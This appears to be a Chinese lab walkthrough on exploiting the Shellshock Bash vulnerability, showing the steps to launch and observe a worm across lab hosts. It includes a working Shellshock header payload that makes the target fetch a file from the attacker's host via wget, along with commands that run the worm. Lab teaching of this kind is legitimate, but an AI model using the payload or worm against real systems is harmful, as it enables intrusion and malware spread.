破壳漏洞的原理与利用

使用ssh登录蠕虫发起者主机（10.1.1.231），执行下面三条命令。命令执行结果如下图所示。

[root@worm-master ~]# tail /var/log/httpd/access_log

[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi

[root@worm-master ~]# tail /var/log/httpd/access_log

1.为了避免自身被感染，向蠕虫表明自己是发起者的身份，我们需要登录10.1.1.231主机，通过下面的命令创建一个文件。

[root@worm-master ~]# touch /tmp/key.txt

2.继续在10.1.1.231上执行下面的命令，可以找到蠕虫程序。

[root@worm-master shockworm]# cd /root/shockworm/

[root@worm-master shockworm]# ls

Shellshock.pl

3.登录worm1，查看/tmp目录。

[root@worm-test1 tmp]# ls -al

4.继续返回10.1.1.231主机，执行下面的命令，来运行蠕虫程序。

[root@worm-master shockworm]# perl shellshock.pl

5.登录Worm1，执行下面的命令，观察被感染的特征。

[root@worm-test1 tmp]# ls -al

[root@worm-test1 tmp]# ls .ssh-mOTc45gfXwPj/

[root@worm-test1 tmp]# ps aux | grep agent.1337

通过对比/tmp目录可以发现，Worm1已经被感染了shockworm蠕虫程序，如下图。

破壳漏洞的原理与利用相关推荐

PHP 绕过禁用函数漏洞的原理与利用分析
聚焦源代码安全,网罗国内外最新资讯! 漏洞简介 PHP 发布公告,旧版本的 php_array_merge_recursive 函数中存在UAF风险,被利用可能导致用来绕过禁用函数. 受影响的版本 ...
php 函数漏洞,PHP绕过禁用函数漏洞的原理与利用分析
漏洞简介 PHP 发布公告,旧版本的 php_array_merge_recursive 函数中存在UAF风险,被利用可能导致用来绕过禁用函数. 受影响的版本 PHP 7.2 - 7.4.9 安全专家 ...
文件包含的漏洞、原理、利用
最近的总结都比较简单,但不是在水,只是在我学习过程中总结的觉得真的有用的知识,还有就是有些代码发不出来我也没办法,所以就有所调整. 文件包含原理是啥? 文件包含漏洞:即file inclusion,意 ...
Web安全-浅析CSV注入漏洞的原理及利用
文章目录漏洞简介漏洞原理漏洞利用命令执行钓鱼攻击反弹shell 漏洞实例 Twitter网站 Hackerone 漏洞挖掘漏洞防御漏洞简介 CSV 注入(CSV Injection)漏 ...
基于破壳漏洞的蠕虫实践
基于破壳漏洞的蠕虫实践本实验介绍了一款基于shellshock漏洞的简单蠕虫程序,通过本实验,你可以了解蠕虫的使用与传播方式,也可以亲自动手随心所欲的改造这款蠕虫程序. 实验简介实验所属系列:操作 ...
（23）【漏洞利用】【原理、利用过程】中间件解析漏洞、CMS漏洞、编辑器漏洞、CVE漏洞
目录解析漏洞: 原理: 变化因素: 熟知的中间件(解析漏洞) 0x01 IIS5.x-6.x解析漏洞: (1)目录解析漏洞(IIS6.0) 原理: 利用过程: (2)文件解析漏洞原理: 利用 ...
浅谈SQL注入漏洞原理及利用方式
1.SQL注入原理: 在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的恶意"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行.漏洞产生于脚 ...
XSS漏洞原理和利用
XSS漏洞原理和利用 XSS漏洞的危害 1.窃取用户Cookie,如果用户Cookie被窃取,攻击者可以不通过密码,而直接登录用户账户 2.使用XMLHttpRequest构造模拟用户请求操作 3.X ...
linux 破壳漏洞,Bash破壳漏洞
"破壳"是一个严重漏洞的别名,在Red Hat.CentOS.Ubuntu.Fedora.Amazon Linux.OS X 10.10中均拥有存在CVE-2014-6271(即& ...

破壳漏洞的原理与利用

破壳漏洞的原理与利用相关推荐

最新文章

热门文章